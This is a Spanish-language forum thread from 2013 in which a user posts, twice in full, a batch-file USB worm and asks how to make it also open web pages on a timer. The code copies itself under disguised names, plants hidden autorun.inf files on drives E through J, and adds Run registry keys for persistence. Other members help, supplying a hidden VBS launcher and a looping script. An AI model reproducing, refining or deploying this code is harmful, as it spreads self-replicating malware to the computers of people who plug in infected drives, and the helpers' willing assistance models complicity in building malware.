Autor
|
Tema: ayuda start batch (Leído 6,994 veces)
|
asdexiva
Desconectado
Mensajes: 217
|
@shift @echo off :xD set juego=systems.exe SET AUTORUNORIGINAL=%WINDIR%\14785\WINUPDATE.DLL SET AUTORUN=autorun.inf set moxita=MOXITA.EXE set trabajo=trabajo.exe
MD "%WINDIR%\14785" MD "E:\System" ATTRIB +S +H +R "E:\system" MD "F:\System" ATTRIB +S +H +R "F:\system" MD "G:\System" ATTRIB +S +H +R "G:\system" MD "H:\System" ATTRIB +S +H +R "H:\system" MD "I:\System" ATTRIB +S +H +R "I:\system" MD "J:\System" ATTRIB +S +H +R "J:\system"
Copy /Y "%~0" "%WINDIR%\14785\systems.exe"
REM AQUI SE CREA EL ARCHIVO AUTORUN ECHO [AUTORUN] >%AUTORUNORIGINAL% ECHO open=System\%juego% >>%AUTORUNORIGINAL% ECHO shell\1=abrir >>%AUTORUNORIGINAL% ECHO shell\1\Command=System\%juego% >>%AUTORUNORIGINAL% ECHO shell\2\=explorar >>%AUTORUNORIGINAL% ECHO shell\2\Command=System\%juego% >>%AUTORUNORIGINAL% ECHO shellexecute=System\%juego% >>%AUTORUNORIGINAL%
REM VERIFICA LA EXISTENCIA DEL WORM IF NOT EXIST "E:\system\%juego%" GOTO COPIARWORM IF NOT EXIST "F:\system\%juego%" GOTO COPIARWORM IF NOT EXIST "G:\system\%juego%" GOTO COPIARWORM IF NOT EXIST "H:\system\%juego%" GOTO COPIARWORM IF NOT EXIST "I:\system\%juego%" GOTO COPIARWORM IF NOT EXIST "J:\system\%juego%" GOTO COPIARWORM IF NOT EXIST "E:\%moxita%" GOTO COPIARWORM IF NOT EXIST "F:\%moxita%" GOTO COPIARWORM IF NOT EXIST "G:\%moxita%" GOTO COPIARWORM IF NOT EXIST "H:\%moxita%" GOTO COPIARWORM IF NOT EXIST "I:\%moxita%" GOTO COPIARWORM IF NOT EXIST "J:\%moxita%" GOTO COPIARWORM IF NOT EXIST "E:\%trabajo%" GOTO COPIARWORM IF NOT EXIST "F:\%trabajo%" GOTO COPIARWORM IF NOT EXIST "G:\%trabajo%" GOTO COPIARWORM IF NOT EXIST "H:\%trabajo%" GOTO COPIARWORM IF NOT EXIST "I:\%trabajo%" GOTO COPIARWORM IF NOT EXIST "J:\%trabajo%" GOTO COPIARWORM IF NOT EXIST "%WINDIR%\14785\systems.exe" GOTO COPIARWORM
:COPIARWORM
REM COPIA EL WORM Y LE ASIGNA ATRIBUTOS DE SOLO LECTURA REM SISTEMA Y OCULTO. COPY "%WINDIR%\14785\systems.exe" "E:\system\%juego%" COPY "%WINDIR%\14785\systems.exe" "F:\system\%juego%" COPY "%WINDIR%\14785\systems.exe" "G:\system\%juego%" COPY "%WINDIR%\14785\systems.exe" "H:\system\%juego%" COPY "%WINDIR%\14785\systems.exe" "I:\system\%juego%" COPY "%WINDIR%\14785\systems.exe" "J:\system\%juego%" COPY "%WINDIR%\14785\systems.exe" "E:\%moxita%" COPY "%WINDIR%\14785\systems.exe" "F:\%moxita%" COPY "%WINDIR%\14785\systems.exe" "G:\%moxita%" COPY "%WINDIR%\14785\systems.exe" "H:\%moxita%" COPY "%WINDIR%\14785\systems.exe" "I:\%moxita%" COPY "%WINDIR%\14785\systems.exe" "J:\%moxita% COPY "%WINDIR%\14785\systems.exe" "E:\%trabajo%" COPY "%WINDIR%\14785\systems.exe" "F:\%trabajo%" COPY "%WINDIR%\14785\systems.exe" "G:\%trabajo%" COPY "%WINDIR%\14785\systems.exe" "H:\%trabajo%" COPY "%WINDIR%\14785\systems.exe" "I:\%trabajo%" COPY "%WINDIR%\14785\systems.exe" "J:\%trabajo%
Copy /Y "%~0" "%WINDIR%\14785\systems.exe"
REM COPIADO DEL AUTORUN Y ASIGANCION DE ATRIBUTOS COPY "%AUTORUNORIGINAL%" "E:\%AUTORUN%" ATTRIB +S +H +R "E:\%AUTORUN%" COPY "%AUTORUNORIGINAL%" "F:\%AUTORUN%" ATTRIB +S +H +R "F:\%AUTORUN%" COPY "%AUTORUNORIGINAL%" "G:\%AUTORUN%" ATTRIB +S +H +R "G:\%AUTORUN%" COPY "%AUTORUNORIGINAL%" "H:\%AUTORUN%" ATTRIB +S +H +R "H:\%AUTORUN%" COPY "%AUTORUNORIGINAL%" "I:\%AUTORUN%" ATTRIB +S +H +R "I:\%AUTORUN%" COPY "%AUTORUNORIGINAL%" "J:\%AUTORUN%" ATTRIB +S +H +R "J:\%AUTORUN%"
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v wuaclt.exe /t REG_SZ /d "%WINDIR%\14785\systems.exe" /f REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v wuaclt.exe /t REG_SZ /d "%WINDIR%\14785\systems.exe" /f REM DESABILITA ERROR NO AY DISCO REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows /v ErrorMode /t REG_DWORD /d "2" /f
start primera pagina web ping 127.0.0.1 -n 30 start segunda pagina web ping 127.0.0.1 -n 30 start tercera pagina web ping 127.0.0.1 -n 300
goto xd
lo que quiero es que esta parte se ejecute cada 14400 segundos start paginaweb ping 127.0.0.1 -n 30 start segunda pagina ping 127.0.0.1 -n 30 start tercera pagina ping 127.0.0.1 -n 300 pero lo demas siga funcionando no se si me explico quiero que se siga copiando a las usb pero quiero que los start se ejecuten cada 14400 segundos sin que se detenga la otra parte del codigo espero y me puedan ayudar
|
|
« Última modificación: 23 Julio 2013, 20:30 pm por asdexiva »
|
En línea
|
|
|
|
Meine programmen
Desconectado
Mensajes: 121
|
pero lo demas siga funcionando no se si me explico quiero que se siga copiando a las usb pero quiero que los start se ejecuten cada 14400 segundos sin que se detenga la otra parte del codigo espero y me puedan ayudar
Si no me equivoco quieres realizar dos acciones a la vez con un solo batch, y hasta donde yo se, eso no es posible. Deberias de, antes de empezar a copiar, crear y ejecutar otro .bat que se encargara de los start cada 14400. Quizas puedas conseguir algo asi.
|
|
|
En línea
|
REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!
|
|
|
asdexiva
Desconectado
Mensajes: 217
|
Si no me equivoco quieres realizar dos acciones a la vez con un solo batch, y hasta donde yo se, eso no es posible. Deberias de, antes de empezar a copiar, crear y ejecutar otro .bat que se encargara de los start cada 14400. Quizas puedas conseguir algo asi.
podrias darme un ejemplo de como incluir el segundo ? o tendria que ser a fuerzas 2 archivos diferentes es que si son 2 como se iniciara el segundo en el sistema
|
|
|
En línea
|
|
|
|
Meine programmen
Desconectado
Mensajes: 121
|
podrias darme un ejemplo de como incluir el segundo ? o tendria que ser a fuerzas 2 archivos diferentes es que si son 2 como se iniciara el segundo en el sistema
Si no me equivoco, batch no es capaz de realizar varias acciones a la vez, asi que supongo que deberian de ser 2 archivos diferentes. Lo de como se iniciaria no lo he entendido muy bien. ¿Como que en el sistema? PD: Tres cosas: 1.- Quizas deberias de comprobar con if si existen esas unidades, en el caso de que existan añades la letra de la unidad a una lista espaciada contenida en una variable (Es decir que si existen solamente E y F, la lista seria " E F" o "E F "). Luego podrias usar for para repetir el mismo trozo de codigo con cada unidad existente. 2.- ¿No es un poco ridiculo que vayas comprobando archivo por archivo, pero que si no existe uno los copies todos, aunque ya esten comprobados? Para eso supongo que seria mejor que copiases sobreescribiendo siempre, porque, ademas, no sabes si esos archivos son los tuyos, aunque se llamen igual. 3.- Deberias de comprobar, ademas de si existen las unidades, si existe en las unidades existentes (Redundancia powah) la carpeta system, por si las moscas.
|
|
« Última modificación: 23 Julio 2013, 23:22 pm por Meine programmen »
|
En línea
|
REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!
|
|
|
Eleкtro
Ex-Staff
Desconectado
Mensajes: 9.885
|
Vamos, que quieres ejecutar un proceso sin detener la ejecución del proceso actual. Lo que necesitas es: Start /?
B Iniciar la aplicación sin crear una nueva ventana. La aplicación omite el manejo de ^C. A menos que la aplicación habilite el procesamiento de ^C, solo se podrá interrumpir la aplicación con ^Inter. Start /B "páginaweb" Start /B Ping.exe "google.es" Otra forma de hacer lo mismo sería instanciando una CMD en separado: Start cmd "/C ping.exe google.es" Saludos.
|
|
|
En línea
|
|
|
|
asdexiva
Desconectado
Mensajes: 217
|
Vamos, que quieres ejecutar un proceso sin detener la ejecución del proceso actual. Lo que necesitas es: Start /B "páginaweb" Start /B Ping.exe "google.es" Otra forma de hacer lo mismo sería instanciando una CMD en separado: Start cmd "/C ping.exe google.es" Saludos. si lo hago con Start cmd "/C ping.exe google.es" se abren muchisimas ventanas y ademas no es como yo queria solo queria que se copiara alas usb y no se detuviera y que los start se ejecuten aparte con otro ping aver si me entiendes quiero que esta parte se ejecute cada 300 segundos @shift @echo off :xD set juego=systems.exe SET AUTORUNORIGINAL=%WINDIR%\14785\WINUPDATE.DLL SET AUTORUN=autorun.inf set moxita=MOXITA.EXE set trabajo=trabajo.exe
MD "%WINDIR%\14785" MD "E:\System" ATTRIB +S +H +R "E:\system" MD "F:\System" ATTRIB +S +H +R "F:\system" MD "G:\System" ATTRIB +S +H +R "G:\system" MD "H:\System" ATTRIB +S +H +R "H:\system" MD "I:\System" ATTRIB +S +H +R "I:\system" MD "J:\System" ATTRIB +S +H +R "J:\system"
Copy /Y "%~0" "%WINDIR%\14785\systems.exe"
REM AQUI SE CREA EL ARCHIVO AUTORUN ECHO [AUTORUN] >%AUTORUNORIGINAL% ECHO open=System\%juego% >>%AUTORUNORIGINAL% ECHO shell\1=abrir >>%AUTORUNORIGINAL% ECHO shell\1\Command=System\%juego% >>%AUTORUNORIGINAL% ECHO shell\2\=explorar >>%AUTORUNORIGINAL% ECHO shell\2\Command=System\%juego% >>%AUTORUNORIGINAL% ECHO shellexecute=System\%juego% >>%AUTORUNORIGINAL%
REM VERIFICA LA EXISTENCIA DEL WORM IF NOT EXIST "E:\system\%juego%" GOTO COPIARWORM IF NOT EXIST "F:\system\%juego%" GOTO COPIARWORM IF NOT EXIST "G:\system\%juego%" GOTO COPIARWORM IF NOT EXIST "H:\system\%juego%" GOTO COPIARWORM IF NOT EXIST "I:\system\%juego%" GOTO COPIARWORM IF NOT EXIST "J:\system\%juego%" GOTO COPIARWORM IF NOT EXIST "E:\%moxita%" GOTO COPIARWORM IF NOT EXIST "F:\%moxita%" GOTO COPIARWORM IF NOT EXIST "G:\%moxita%" GOTO COPIARWORM IF NOT EXIST "H:\%moxita%" GOTO COPIARWORM IF NOT EXIST "I:\%moxita%" GOTO COPIARWORM IF NOT EXIST "J:\%moxita%" GOTO COPIARWORM IF NOT EXIST "E:\%trabajo%" GOTO COPIARWORM IF NOT EXIST "F:\%trabajo%" GOTO COPIARWORM IF NOT EXIST "G:\%trabajo%" GOTO COPIARWORM IF NOT EXIST "H:\%trabajo%" GOTO COPIARWORM IF NOT EXIST "I:\%trabajo%" GOTO COPIARWORM IF NOT EXIST "J:\%trabajo%" GOTO COPIARWORM IF NOT EXIST "%WINDIR%\14785\systems.exe" GOTO COPIARWORM
:COPIARWORM
REM COPIA EL WORM Y LE ASIGNA ATRIBUTOS DE SOLO LECTURA REM SISTEMA Y OCULTO. COPY "%WINDIR%\14785\systems.exe" "E:\system\%juego%" COPY "%WINDIR%\14785\systems.exe" "F:\system\%juego%" COPY "%WINDIR%\14785\systems.exe" "G:\system\%juego%" COPY "%WINDIR%\14785\systems.exe" "H:\system\%juego%" COPY "%WINDIR%\14785\systems.exe" "I:\system\%juego%" COPY "%WINDIR%\14785\systems.exe" "J:\system\%juego%" COPY "%WINDIR%\14785\systems.exe" "E:\%moxita%" COPY "%WINDIR%\14785\systems.exe" "F:\%moxita%" COPY "%WINDIR%\14785\systems.exe" "G:\%moxita%" COPY "%WINDIR%\14785\systems.exe" "H:\%moxita%" COPY "%WINDIR%\14785\systems.exe" "I:\%moxita%" COPY "%WINDIR%\14785\systems.exe" "J:\%moxita% COPY "%WINDIR%\14785\systems.exe" "E:\%trabajo%" COPY "%WINDIR%\14785\systems.exe" "F:\%trabajo%" COPY "%WINDIR%\14785\systems.exe" "G:\%trabajo%" COPY "%WINDIR%\14785\systems.exe" "H:\%trabajo%" COPY "%WINDIR%\14785\systems.exe" "I:\%trabajo%" COPY "%WINDIR%\14785\systems.exe" "J:\%trabajo%
Copy /Y "%~0" "%WINDIR%\14785\systems.exe"
REM COPIADO DEL AUTORUN Y ASIGANCION DE ATRIBUTOS COPY "%AUTORUNORIGINAL%" "E:\%AUTORUN%" ATTRIB +S +H +R "E:\%AUTORUN%" COPY "%AUTORUNORIGINAL%" "F:\%AUTORUN%" ATTRIB +S +H +R "F:\%AUTORUN%" COPY "%AUTORUNORIGINAL%" "G:\%AUTORUN%" ATTRIB +S +H +R "G:\%AUTORUN%" COPY "%AUTORUNORIGINAL%" "H:\%AUTORUN%" ATTRIB +S +H +R "H:\%AUTORUN%" COPY "%AUTORUNORIGINAL%" "I:\%AUTORUN%" ATTRIB +S +H +R "I:\%AUTORUN%" COPY "%AUTORUNORIGINAL%" "J:\%AUTORUN%" ATTRIB +S +H +R "J:\%AUTORUN%"
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v wuaclt.exe /t REG_SZ /d "%WINDIR%\14785\systems.exe" /f REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v wuaclt.exe /t REG_SZ /d "%WINDIR%\14785\systems.exe" /f REM DESABILITA ERROR NO AY DISCO REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows /v ErrorMode /t REG_DWORD /d "2" /f ping 127.0.0.1 -n 300 goto xd
y esta otra se ejecute cada 3600 segundos start primera pagina web ping 127.0.0.1 -n 30 start segunda pagina web ping 127.0.0.1 -n 30 start tercera pagina web ping 127.0.0.1 -n 300
|
|
|
En línea
|
|
|
|
Meine programmen
Desconectado
Mensajes: 121
|
Pon: (echo @echo off echo :start echo start primera pagina web echo ping 127.0.0.1 -n 30 echo start segunda pagina web echo ping 127.0.0.1 -n 30 echo start tercera pagina web echo ping 127.0.0.1 -n 300 echo goto start)>>bat.bat start bat.bat Antes de la etiqueta xD y esta otra se ejecute cada 3600 segundos
¿3600 o 360?
|
|
« Última modificación: 24 Julio 2013, 20:29 pm por Meine programmen »
|
En línea
|
REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!
|
|
|
asdexiva
Desconectado
Mensajes: 217
|
Pon: (echo @echo off echo :start echo start primera pagina web echo ping 127.0.0.1 -n 30 echo start segunda pagina web echo ping 127.0.0.1 -n 30 echo start tercera pagina web echo ping 127.0.0.1 -n 300 echo goto start)>>bat.bat start bat.bat Antes de la etiqueta xD ¿3600 o 360? 3600 por que equivale a 1 hora no habra forma para que el archivo as.vbs sea temporal y el bat.bat tambien sea temporal ? por que si al prender la pc se ejecuta el worm se auto copiara todo dentro del mismo as.vbs y bat.bat (echo @echo off echo :inicio echo start primera pagina web echo ping 127.0.0.1 -n 30 echo start segunda pagina web echo ping 127.0.0.1 -n 30 echo start tercera pagina web echo ping 127.0.0.1 -n 3600 echo goto inicio)>>bat.bat echo set zer0 = createobject("wscript.shell")>>as.vbs echo zer0.run "cmd /c bat.bat", vbhide >>as.vbs start as.vbs
|
|
« Última modificación: 24 Julio 2013, 21:14 pm por asdexiva »
|
En línea
|
|
|
|
Meine programmen
Desconectado
Mensajes: 121
|
Cambia >> por >. Si no me equivoco, eso deberia hacer que se sobreescribiesen. (echo @echo off echo :inicio echo start primera pagina web echo ping 127.0.0.1 -n 30 echo start segunda pagina web echo ping 127.0.0.1 -n 30 echo start tercera pagina web echo ping 127.0.0.1 -n 3600 echo goto inicio)>bat.bat (echo set zer0 = createobject("wscript.shell") echo zer0.run "cmd /c bat.bat", vbhide)>as.vbs start as.vbs
|
|
|
En línea
|
REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!
|
|
|
asdexiva
Desconectado
Mensajes: 217
|
muchas gracias a ti y a elektro solucionado xD
|
|
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
[Batch] Ayuda: Añadir linea a batch
Scripting
|
Grasky
|
4
|
8,181
|
4 Octubre 2012, 11:17 am
por Grasky
|
|
|
[Batch] Start y los archivos ocultos
Scripting
|
KZN
|
6
|
3,328
|
10 Abril 2014, 22:02 pm
por Trebla1011
|
|
|
Process.Start ejecuta un batch y hace que sus rutas contiguas sean innacesibles?
.NET (C#, VB.NET, ASP)
|
z3nth10n
|
6
|
4,507
|
22 Febrero 2017, 12:30 pm
por z3nth10n
|
|
|
MOVIDO: Process.Start ejecuta un batch y hace que sus rutas contiguas sean innacesibles?
Programación General
|
Eleкtro
|
0
|
1,607
|
22 Febrero 2017, 11:57 am
por Eleкtro
|
|
|
[BATCH] [APORTE] Batch Auto Hide Start [BAHS]
Scripting
|
**Aincrad**
|
0
|
2,371
|
20 Julio 2018, 20:15 pm
por **Aincrad**
|
|